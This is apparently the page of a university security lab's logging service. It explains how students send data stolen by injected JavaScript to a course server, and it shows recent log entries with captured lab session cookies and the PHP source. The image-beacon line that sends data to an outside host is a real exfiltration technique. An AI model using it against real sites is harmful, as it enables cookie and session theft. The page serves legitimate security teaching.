You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload:
(new Image()).src='https://css.csail.mit.edu/6.566/2026/labs/log.php?' + 'id=my-username' + '&payload=some-string' + '&random=' + Math.random();
The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in javascript: links; if this bothers you, try URL encoding.
If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.)
Below are the most recent logged entries, so that you can check if your attack worked:
Fri, 31 Jul 2026 09:31:49 +0000: dmx: 123 Fri, 31 Jul 2026 09:31:20 +0000: dmx: 123 Fri, 31 Jul 2026 09:21:41 +0000: dmx: NBUYWNDLMCYK Fri, 31 Jul 2026 08:33:23 +0000: dmx: 123 Thu, 30 Jul 2026 14:28:04 +0000: dmx: grader/UTYWHHLRXBLY Thu, 30 Jul 2026 14:27:52 +0000: dmx: grader/JAOWNVACRKKV Thu, 30 Jul 2026 14:27:20 +0000: dmx: PyZoobarLogin=grader#0d1ba725cab15d8d205f1086f233fa4e9a09a5c294d828bb939fb20eab1c4858 Thu, 30 Jul 2026 14:27:08 +0000: dmx: PyZoobarLogin=grader#171bd3690823973e110660827f501264816281590f7f76c3782ec79435706959 Thu, 30 Jul 2026 14:26:57 +0000: dmx: PyZoobarLogin=grader#fdcc5c4df28b814b810e0beef2e6545a72a863dfe7b539435114be2315d4b310 Thu, 30 Jul 2026 14:26:44 +0000: dmx: PyZoobarLogin=grader#485197bfedfa54b4fb1104fee94378050dfd6c377be11d8d46b4d44811ec6b31 Thu, 30 Jul 2026 14:02:00 +0000: dmx: grader/IHIPVVFZISKY Thu, 30 Jul 2026 14:01:47 +0000: dmx: grader/MFWIUIEEWCXL Thu, 30 Jul 2026 14:01:03 +0000: dmx: PyZoobarLogin=grader#9e0b37b5cfb3fdb857edcf771355ac75d5a76ad326d97b4d2429406770c3756d Thu, 30 Jul 2026 13:55:42 +0000: dmx: grader/HUVPRPFKVOIN Thu, 30 Jul 2026 13:55:01 +0000: dmx: grader/TUBQHYQWJPVM Thu, 30 Jul 2026 13:54:33 +0000: dmx: grader/HVVRQCXTGQXO Thu, 30 Jul 2026 13:28:22 +0000: s: sss Thu, 30 Jul 2026 13:28:00 +0000: dmx: 123/123 Thu, 30 Jul 2026 13:26:16 +0000: dmx: 123/123 Thu, 30 Jul 2026 09:17:50 +0000: dmx: grader/ALTYJMCCSFSW Thu, 30 Jul 2026 08:03:43 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 08:01:55 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 08:01:47 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:57:05 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:46:27 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:40:04 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 07:16:41 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 06:12:05 +0000: dmx: PyZoobarLogin=123#04f1bbee50310a8524cd6144465aaab37cba492e21236044ea29715f4ab25f2c Thu, 30 Jul 2026 06:11:51 +0000: dmx: PyZoobarLogin=123#2a5d05d08ea6da825264a7a2923fa8bf9ee7cfb7be0dbaf2f782099810d9fa11
In case you are curious, here is the source code of this page.
<?php header("Access-Control-Allow-Origin: *"); do { if (!array_key_exists("id", $_REQUEST)) { break; } $id = $_REQUEST['id']; if (strlen($id) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "ID value is larger than 1000 bytes"; return; } if (!array_key_exists("payload", $_REQUEST)) { header("HTTP/1.0 400 Bad Request"); echo "No payload given"; return; } $payload = $_REQUEST['payload']; if (empty($payload)) { header("HTTP/1.0 400 Bad Request"); echo "Empty payload given"; return; } if (strlen($payload) > 1000) { header("HTTP/1.0 413 Payload Too Large"); echo "Payload is larger than 1000 bytes"; return; } if (!function_exists('apcu_add')) { header("HTTP/1.0 501 Not Implemented"); echo "APCu not enabled, so no rate limiting; refusing all requests"; return; } if (apcu_add($payload, true, 5) === false) { // exact same $payload was sent in the past 5 seconds header("HTTP/1.0 429 Too Many Requests"); echo "That exact payload was sent very recently; rejecting"; return; } $payload = str_replace(array("\n", "\r"), '.', $payload); $id = str_replace(array("\n", "\r"), '.', $id); $file = fopen("/tmp/6.566-2026-logger.txt", "c+"); if ($file === false) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to open log file"; return; } if (!flock($file, LOCK_EX)) { header("HTTP/1.0 503 Service Unavailable"); echo "Failed to lock log file"; return; } $lines = array(); while (!feof($file) && count($lines) < 100) { $lines[] = fgets($file); } ftruncate($file, 0); rewind($file); fwrite($file, date(DATE_RFC2822) . ": " . $id . ": " . $payload . "\n"); foreach ($lines as &$line) { fwrite($file, $line); } flock($file, LOCK_UN); fclose($file); echo "Logged!"; return; } while(0); $link = "(new Image()).src=" . "'https://css.csail.mit.edu/6.566/2026/labs/log.php?'" . " + 'id=my-username'" . " + '&payload=some-string' + '&random='" . " + Math.random()"; ?><!DOCTYPE html> <html> <head> <link rel="stylesheet" type="text/css" href="labs.css" /> <title>Lab 4 Logging Script</title> </head> <body> <h1>Lab 4 Logging Script</h1> <p> You can use this server side script to extract data from client-side JavaScript. For example, clicking this client-side hyperlink will cause the server to log the payload: </p> <pre class="tty"><a href="javascript:void(<?=$link;?>)"><?=$link;?>;</a></pre> <p> The random argument is ignored, but ensures that the browser bypasses its cache when downloading the image. We suggest that you use the random argument in your scripts as well. The ID argument will help you distinguish your log entries from those sent by other students; we suggest picking your MIT Athena username. Newlines are not allowed in <tt>javascript:</tt> links; if this bothers you, try <a href="https://meyerweb.com/eric/tools/dencoder/">URL encoding</a>. </p> <h2>Test form</h2> <p> If you just want to try out the script, you can use this form. (For your actual attacks in lab 4, you'll probably want to use the JavaScript image technique shown above.) </p> <form method="GET" action=""> <label for="id">ID:</label><br /> <input name="id" placeholder="your-mit-username" size="40" /> <i>(some identifier to locate your payload in the log)</i> <br /> <br /> <label for="payload">Payload:</label><br /> <input name="payload" placeholder="some-string" size="40" /> <i>(the information you stole)</i> <br /> <input type="submit" value="Log" name="log_submit" /> </form> <h2>Logged entries</h2> <p> Below are the most recent logged entries, so that you can check if your attack worked: </p> <pre class="tty"><?php $lines = file_get_contents("/tmp/6.566-2026-logger.txt"); echo htmlspecialchars($lines); ?></pre> <h2>Source code</h2> <p>In case you are curious, here is the source code of this page.</p> <pre><?php highlight_file(__FILE__); ?></pre> </body> </html>